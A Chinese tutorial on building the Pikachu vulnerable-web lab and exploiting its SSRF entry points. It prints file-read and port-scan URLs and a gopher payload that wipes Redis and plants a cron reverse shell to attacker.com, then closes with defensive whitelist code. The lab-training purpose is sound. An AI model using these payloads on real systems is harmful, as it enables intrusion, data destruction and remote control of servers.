手把手教你用PHPStudy搭建Pikachu靶场(附SSRF漏洞实战演示)
从零构建Pikachu靶场SSRF漏洞攻防全景实战指南当我在三年前第一次接触网络安全实训时Pikachu靶场就像一扇神秘的大门。这个以宝可梦命名的开源漏洞演练平台用卡通化的界面隐藏着真实世界中最危险的漏洞形态。今天我将带您从环境搭建到漏洞利用完整重现SSRFServer-Side Request Forgery漏洞的挖掘过程这种能让服务器变成傀儡的漏洞在近年OWASP Top 10中始终位列前茅。1. 靶场环境构建PHPStudy的精准配置在Windows系统上搭建Web漏洞实验环境PHPStudy无疑是最便捷的选择。但许多初学者常因配置不当导致实验失败以下是我经过数十次实践验证的可靠方案环境组件选择PHP版本5.4.45与Pikachu兼容性最佳Apache2.4.23需启用rewrite_moduleMySQL5.7.26建议设置root密码为root项目部署关键步骤# 解压后需执行的目录操作 mv pikachu-master /phpstudy_pro/WWW/pikachu chmod -R 755 /phpstudy_pro/WWW/pikachu注意若遇到403禁止访问错误需检查Apache的httpd.conf中Directory配置是否包含Require all granted数据库配置陷阱 修改config.inc.php时要注意Windows路径的斜杠转义问题$dbname pikachu; $dbuser root; $dbpass root; $dbhost 127.0.0.1; // 切勿使用localhost2. SSRF漏洞原理深度解析SSRF的本质是服务器端未对用户提供的URL进行严格校验导致攻击者可以操纵服务器发起任意网络请求。就像让银行的柜员亲自去帮您取钱而柜台根本不核实您的身份。高危函数对比表函数危险协议支持典型利用场景防御难度file_get_contents()file, http, ftp本地文件读取★★☆curl_exec()dict, gopher端口扫描/Redis入侵★★★fsockopen()tcp, udp内网服务探测★★★★在Pikachu靶场中开发者刻意留下了两个典型的SSRF漏洞入口curl型漏洞ssrf_curl.php$url $_GET[url]; $ch curl_init(); // 未做任何白名单校验 curl_setopt($ch, CURLOPT_URL, $url); echo curl_exec($ch);file_get_contents型漏洞ssrf_fgc.php$file $_GET[file]; echo file_get_contents($file); // 直接读取用户输入3. 漏洞实战从信息收集到内网渗透3.1 本地文件读取攻击链当发现file_get_contents()存在缺陷时可以构造特殊协议进行敏感文件窃取http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?filephp://filter/readconvert.base64-encode/resource../../../../windows/win.ini解码技巧# 使用CyberChef或本地base64解码 echo base64编码内容 | base64 -d win.ini3.2 端口扫描的艺术利用dict协议进行内网端口探测时需要掌握响应特征响应状态可能含义后续动作连接超时防火墙拦截尝试其他协议快速返回错误端口关闭记录排除返回banner信息服务存活收集版本信息典型攻击Payloadhttp://localhost/pikachu/vul/ssrf/ssrf_curl.php?urldict://192.168.1.1:6379/info3.3 高级利用Gopher协议攻击Redis当发现内网存在Redis服务时可构造特殊协议实现未授权访问gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i /dev/tcp/attacker.com/4444 01%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a警告此操作会清空Redis数据库并尝试建立反向shell仅限授权测试环境使用4. 防御体系构建从代码到架构在最近为某金融系统做的安全审计中我们发现SSRF防御需要多层防护代码层防护// 白名单域名校验 $allowed_hosts [api.trusted.com, cdn.safe.org]; $parsed parse_url($_GET[url]); if(!in_array($parsed[host], $allowed_hosts)){ die(非法请求来源); } // 禁用危险协议 $banned_schemes [file,gopher,dict]; if(in_array($parsed[scheme], $banned_schemes)){ die(危险协议已被禁止); }网络层防护部署反向代理时启用no-proxy-uri策略内网服务使用双向SSL认证关键业务服务器设置出站防火墙规则运维监控要点建立异常外连请求报警机制定期审计服务器日志中的异常域名解析对服务器发起的请求实施速率限制记得去年在一次渗透测试中我们通过SSRF漏洞成功读取到了AWS的元数据接口最终获取了云服务器临时凭证。这个案例让我深刻意识到再小的入口点都可能成为整个系统沦陷的起点。建议每个季度至少进行一次SSRF专项检测特别要关注那些调用第三方API的服务接口。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2421517.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!